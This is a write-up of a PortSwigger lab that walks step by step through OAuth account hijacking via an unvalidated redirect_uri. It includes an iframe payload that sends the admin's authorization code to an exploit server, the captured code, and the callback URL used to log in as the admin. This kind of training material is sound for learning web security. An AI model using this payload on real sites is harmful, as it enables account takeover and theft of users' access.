Introduction
OAuth is the backbone of modern "Login with Google/Facebook/GitHub" flows. When implemented correctly, it's secure. But a single misconfiguration โ an unvalidated redirect_uri โ can allow an attacker to steal authorization codes and hijack any user's account, including admins.
In this writeup, I'll walk through how I solved the PortSwigger Web Security Academy lab: OAuth account hijacking via redirect_uri, explaining the vulnerability, the attack chain, and the fix.
What is OAuth and How Does It Work?
OAuth 2.0 is an authorization framework that lets users grant third-party apps limited access to their accounts without sharing passwords. The typical flow looks like this:

The key parameter in this flow is redirect_uri โ it tells the OAuth server where to send the authorization code after the user logs in.
The Vulnerability: Unvalidated redirect_uri
OAuth servers are supposed to whitelist allowed redirect URIs during app registration. If a server blindly accepts any URI the client sends, an attacker can redirect the authorization code to their own server.

Step-by-Step Attack
Step 1: Reconnaissance โ Intercept the OAuth Flow
After logging in with wiener:peter, I captured the authorization request in Burp Suite:
GET /auth?client_id=trp46vtgcj1u85okc5ldb
&redirect_uri=https://TARGET.web-security-academy.net/oauth-callback
&response_type=code
&scope=openid%20profile%20emailStep 2: Test the Misconfiguration in Burp Repeater
I sent the request to Burp Repeater and changed the redirect_uri to point to my exploit server.

The server returned a 302 Found straight to my exploit server โ confirming the vulnerability exists.
Step 3: Craft the Malicious iframe on the Exploit Server
I went to the Exploit Server and in the Body field, pasted this iframe:
<iframe src="https://oauth-0a3200f504c42bcd80f72988029b00ef.oauth-server.net/auth
?client_id=trp46vtgcj1u85okc5ldb
&redirect_uri=https://exploit-0af0002104f62b1b80382af0017a00e6.exploit-server.net
&response_type=code
&scope=openid%20profile%20email">
</iframe>
Then I clicked Store to save the exploit.
Step 4: Deliver Directly to the Victim โ No "View Exploit" Needed
โ ๏ธ Important: I did NOT click "View Exploit". Clicking it loads the exploit in your own browser, which has no active admin OAuth session โ so no admin code gets generated. Instead, I went straight to "Deliver exploit to victim".
I clicked "Deliver exploit to victim" directly.

This sends the malicious page to the admin user, whose browser already has an active OAuth session. When their browser loads the iframe, it silently hits the OAuth server, which generates an authorization code for the admin and redirects it straight to my exploit server.
Step 5: Check the Access Log โ Steal the Code
Immediately after delivering the exploit, I went to the Access Log on the exploit server.

The log showed:
10.0.4.43 "GET /?code=V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_ HTTP/1.1" 200
user-agent: Mozilla/5.0 (Victim) Chrome/125.0.0.0Two things confirm this is the admin's code, not mine:
- The IP
10.0.4.43belongs to the victim's browser (not my IP104.28.x.x) - The user-agent says
(Victim)โ Chrome, not my Firefox
I copied the code: V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_
Step 6: Use the Stolen Code to Log In as Admin
First, I logged out of the blog website. Then I navigated to:
https://TARGET.web-security-academy.net/oauth-callback?code=V01aACxXZfPTvgpw4HT34iHq39JWRFN45noLxq9zWs_โ ๏ธ Do this immediately โ authorization codes expire within seconds to minutes.
The OAuth flow completed automatically. I was now logged in as the administrator.

Step 7: Delete Carlos โ Lab Solved โ
From the Admin Panel, I found and deleted the user carlos.


Key Takeaways
- Always test
redirect_urifor open redirect issues during OAuth pentests - Skip "View Exploit" โ deliver directly to the victim when exploiting session-dependent flows
- The victim's IP in the access log (
10.0.x.x) vs your IP (104.x.x.x) confirms whose code was stolen - Authorization codes are single-use and short-lived โ act fast after capture
- This is classified as CWE-601 (Open Redirect) combined with OAuth authorization code theft.